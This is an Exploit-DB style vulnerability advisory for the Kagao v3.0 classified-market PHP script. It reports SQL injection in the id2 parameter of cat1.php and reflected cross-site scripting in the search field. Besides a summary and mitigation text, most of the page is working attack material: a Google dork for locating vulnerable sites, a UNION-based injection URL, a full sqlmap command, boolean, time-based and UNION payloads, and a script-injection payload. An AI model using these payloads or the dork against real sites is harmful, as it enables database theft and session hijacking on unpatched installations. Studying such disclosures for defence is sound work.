Kagao v3.0 - Professional Classified Market SQL Injection & Cross Site Scripting

vendor:

Kagao

by:

Cyber Warrior | Bug Researchers Group | N4TuraL

7,5

CVSS

HIGH

SQL Injection & Cross Site Scripting

89, 79

CWE

Product Name: Kagao

Affected Version From: 3.0

Affected Version To: 3.0

Patch Exists: NO

Related CWE: N/A

CPE: a:kogaoscript:kagao:3.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 10 / Mozilla Firefox, Linux / Mozilla Firefox, Linux / sqlmap 1.0.6.28#dev

2016

Kagao v3.0 – Professional Classified Market SQL Injection & Cross Site Scripting

Kagao v3.0 - Professional Classified Market is prone to an SQL injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. An attacker can exploit this vulnerability to manipulate SQL queries by injecting arbitrary SQL code. This may allow the attacker to access or modify data in the back-end database, compromise the application, access or modify sensitive data, or exploit various other vulnerabilities. Cross-site scripting (XSS) vulnerabilities exist in the application due to the failure to properly sanitize user-supplied data before using it in the application's dynamic content. An attacker can exploit these issues to execute arbitrary HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, and to control how the site is rendered to the user; other attacks are also possible.

Mitigation:

Input validation should be used to ensure that untrusted data is not allowed to enter the system. All input data should be validated and filtered, including data from the client, environment variables, databases, and any external sources. Output encoding should be used to prevent XSS attacks. Output encoding is a method of ensuring that user-supplied data is rendered in a way that prevents malicious HTML and script code from being executed. All output should be encoded using the appropriate character encoding for the context in which it is being used.

Source

Exploit-DB raw data:

######################
# Application Name : Kagao v3.0 - Professional Classified Market

# Google Dork : inurl:/cat1.php?id2=

# Exploit Author : Cyber Warrior | Bug Researchers Group | N4TuraL

# Vendor Homepage : http://kogaoscript.com/

# Vulnerable Type : SQL Injection & Cross Site Scripting

# Date : 2016-06-26

# Tested on : Windows 10 / Mozilla Firefox
#             Linux / Mozilla Firefox
#             Linux / sqlmap 1.0.6.28#dev

###################### SQL Injection Vulnerability ######################

# Location :
http://localhost/[path]/cat1.php

######################

# Vulnerable code :

function pagenat(){

$buildLink = array(
"id" => intval($_GET['id']),
"id2" => isset($_GET['id2']) ? intval($_GET['id2']) : '',
"suche" => htmlspecialchars($_GET['suche']),
"sucheWo" => htmlspecialchars($_GET['sucheWo']),
"umkreis" => intval($_GET['umkreis']),
"page" => ""

);

$buildLink = http_build_query($buildLink);
$buildLink = 'cat1.php?' . $buildLink;

if($_GET['id2']){
$pages_num = getZahlPage($_GET['id2'], 'unterkategorie');
}
else{
$pages_num = getZahlPage($_GET['id'], 'kategorie');
}

$page = (isset($_GET['page'])) ? max($_GET['page'], 1) : 1;
$pages = ($pages_num > 1) ? pages($pages_num, $page, $buildLink) : '';
echo $pages;
}


######################

# PoC Exploit:

http://localhost/[path]/cat1.php?id2=999999.9%22%20union%20all%20select%20concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28database%28%29%20as%20char%29%29%29%2C0x27%2C0x7e%29--%20a

# Exploit Code via sqlmap:

sqlmap -u http://localhost/[path]/cat1.php?id2=10 --dbms=mysql --random-agent --technique=BUESTQ --dbs --tamper=versionedkeywords --level=3 --risk=3 --no-cast

Parameter: id2 (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id2=10" AND 9863=9863 AND "UvFy"="UvFy

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id2=10" AND SLEEP(5) AND "Zxun"="Zxun

    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: id2=-5676" UNION ALL SELECT CONCAT(0x716b786271,0x4e77456d62457a716850544f776d506c7679624969616c6b47417542766c4152464c6a665a7a7064,0x7162767671)-- vvJN
---

###################### Cross Site Scripting Vulnerability ######################

# PoC Exploit:

Search: "><script>alert('n4tural');</script>

http://localhost/[path]/cat1.php?id2=0&pricestart=0&room=&flache=&price=&zulassung=&kilometer=&kraftstoff=&id3=0&suche=%22%3E%3Cscript%3Ealert%28%27n4tural%27%29%3B%3C%2Fscript%3E&id=0&sucheWo=&umkreis=0

######################